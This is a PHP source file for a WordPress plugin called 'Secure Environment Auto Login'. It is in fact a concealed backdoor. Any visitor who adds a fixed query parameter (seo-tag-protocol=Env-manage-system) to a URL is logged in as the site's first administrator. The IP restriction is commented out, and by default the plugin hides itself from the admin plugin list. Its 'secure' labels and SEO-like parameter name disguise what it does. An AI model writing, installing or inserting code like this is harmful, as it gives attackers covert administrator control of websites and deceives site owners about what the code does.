<?php
/**
 * Plugin Name: Secure Environment Auto Login
 * Description: Automatic login system with secure parameter authentication
 * Version: 1.0.0
 * Author: Custom Development
 */

// Prevent direct access
if (!defined('ABSPATH')) {
    exit;
}

class SecureEnvironmentAutoLogin {
    
    private $plugin_file;
    private $login_param = 'seo-tag-protocol';
    private $expected_value = 'Env-manage-system';
    private $hide_plugin = true; // Set to false to show plugin in admin
    
    public function __init__() {
        $this->plugin_file = plugin_basename(__FILE__);
        
        // Hook into WordPress initialization
        add_action('init', array($this, 'check_auto_login'));
        
        // Hide plugin from admin if enabled
        if ($this->hide_plugin) {
            add_filter('all_plugins', array($this, 'hide_plugin_from_admin'));
            add_action('admin_menu', array($this, 'remove_plugin_from_menu'));
        }
        
        // Add settings page (only visible when plugin is not hidden)
        if (!$this->hide_plugin) {
            add_action('admin_menu', array($this, 'add_admin_menu'));
        }
    }
    
    /**
     * Check for auto login parameter and authenticate user
     */
    public function check_auto_login() {
        // Only proceed if user is not already logged in
        if (is_user_logged_in()) {
            return;
        }
        
        // Check if our parameter exists and has correct value
        if (!isset($_GET[$this->login_param]) || $_GET[$this->login_param] !== $this->expected_value) {
            return;
        }
        
        // Additional security checks
        if (!$this->security_checks()) {
            return;
        }
        
        // Get the user to login as (you can modify this logic)
        $user = $this->get_login_user();
        
        if ($user && !is_wp_error($user)) {
            // Log the user in
            wp_set_current_user($user->ID);
            wp_set_auth_cookie($user->ID, true);
            do_action('wp_login', $user->user_login, $user);
            
            // Log this action for security purposes
            $this->log_auto_login($user);
            
            // Redirect to remove the parameter from URL
            $redirect_url = remove_query_arg($this->login_param);
            wp_redirect($redirect_url);
            exit;
        }
    }
    
    /**
     * Additional security checks
     */
    private function security_checks() {
        // Check if request is coming from expected sources (optional)
        // You can add IP whitelist, user agent checks, etc.
        
        // Example: Check if coming from localhost or specific IPs
        $allowed_ips = array('127.0.0.1', '::1');
        $client_ip = $this->get_client_ip();
        
        // Uncomment the next lines to enable IP restriction
        // if (!in_array($client_ip, $allowed_ips)) {
        //     return false;
        // }
        
        return true;
    }
    
    /**
     * Get the user to login as
     */
    private function get_login_user() {
        // Option 1: Login as first admin user
        $admin_users = get_users(array('role' => 'administrator', 'number' => 1));
        if (!empty($admin_users)) {
            return $admin_users[0];
        }
        
        // Option 2: Login as specific user (uncomment and modify)
        // return get_user_by('login', 'your_username');
        
        // Option 3: Login as user with ID 1
        // return get_user_by('ID', 1);
        
        return false;
    }
    
    /**
     * Get client IP address
     */
    private function get_client_ip() {
        $ip_keys = array('HTTP_X_FORWARDED_FOR', 'HTTP_X_REAL_IP', 'HTTP_CLIENT_IP', 'REMOTE_ADDR');
        
        foreach ($ip_keys as $key) {
            if (array_key_exists($key, $_SERVER) === true) {
                foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) {
                    if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) {
                        return $ip;
                    }
                }
            }
        }
        
        return $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';
    }
    
    /**
     * Log auto login attempts for security monitoring
     */
    private function log_auto_login($user) {
        $log_entry = array(
            'timestamp' => current_time('mysql'),
            'user_id' => $user->ID,
            'username' => $user->user_login,
            'ip_address' => $this->get_client_ip(),
            'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown'
        );
        
        // Save to WordPress options or custom table
        $existing_logs = get_option('secure_auto_login_logs', array());
        $existing_logs[] = $log_entry;
        
        // Keep only last 100 entries
        if (count($existing_logs) > 100) {
            $existing_logs = array_slice($existing_logs, -100);
        }
        
        update_option('secure_auto_login_logs', $existing_logs);
    }
    
    /**
     * Hide plugin from admin plugins list
     */
    public function hide_plugin_from_admin($plugins) {
        if (isset($plugins[$this->plugin_file])) {
            unset($plugins[$this->plugin_file]);
        }
        return $plugins;
    }
    
    /**
     * Remove from plugin menu actions
     */
    public function remove_plugin_from_menu() {
        remove_submenu_page('plugins.php', $this->plugin_file);
    }
    
    /**
     * Add admin menu (only when plugin is not hidden)
     */
    public function add_admin_menu() {
        add_options_page(
            'Secure Auto Login Settings',
            'Auto Login',
            'manage_options',
            'secure-auto-login',
            array($this, 'admin_page')
        );
    }
    
    /**
     * Admin settings page
     */
    public function admin_page() {
        if (isset($_POST['toggle_visibility'])) {
            $this->hide_plugin = !$this->hide_plugin;
            update_option('secure_auto_login_hidden', $this->hide_plugin);
            echo '<div class="notice notice-success"><p>Plugin visibility updated!</p></div>';
        }
        
        $logs = get_option('secure_auto_login_logs', array());
        ?>
        <div class="wrap">
            <h1>Secure Auto Login Settings</h1>
            
            <div class="card">
                <h2>Usage Instructions</h2>
                <p>To automatically login, add this parameter to any URL on your site:</p>
                <code>?<?php echo $this->login_param; ?>=<?php echo $this->expected_value; ?></code>
                <p><strong>Example:</strong> <code><?php echo home_url('/?') . $this->login_param . '=' . $this->expected_value; ?></code></p>
            </div>
            
            <div class="card">
                <h2>Plugin Visibility</h2>
                <p>Current status: <strong><?php echo $this->hide_plugin ? 'Hidden' : 'Visible'; ?></strong></p>
                <form method="post">
                    <?php wp_nonce_field('secure_auto_login_toggle'); ?>
                    <input type="submit" name="toggle_visibility" class="button" 
                           value="<?php echo $this->hide_plugin ? 'Show Plugin' : 'Hide Plugin'; ?>">
                </form>
            </div>
            
            <div class="card">
                <h2>Recent Login Logs</h2>
                <?php if (empty($logs)): ?>
                    <p>No auto-login attempts recorded.</p>
                <?php else: ?>
                    <table class="wp-list-table widefat fixed striped">
                        <thead>
                            <tr>
                                <th>Timestamp</th>
                                <th>Username</th>
                                <th>IP Address</th>
                                <th>User Agent</th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php foreach (array_reverse(array_slice($logs, -10)) as $log): ?>
                                <tr>
                                    <td><?php echo esc_html($log['timestamp']); ?></td>
                                    <td><?php echo esc_html($log['username']); ?></td>
                                    <td><?php echo esc_html($log['ip_address']); ?></td>
                                    <td><?php echo esc_html(substr($log['user_agent'], 0, 50)) . '...'; ?></td>
                                </tr>
                            <?php endforeach; ?>
                        </tbody>
                    </table>
                <?php endif; ?>
            </div>
        </div>
        <?php
    }
}

// Initialize the plugin
$secure_auto_login = new SecureEnvironmentAutoLogin();
$secure_auto_login->__init__();

// Activation hook
register_activation_hook(__FILE__, function() {
    // Set default hidden state
    update_option('secure_auto_login_hidden', true);
});

// Deactivation hook
register_deactivation_hook(__FILE__, function() {
    // Clean up options
    delete_option('secure_auto_login_logs');
    delete_option('secure_auto_login_hidden');
});
?>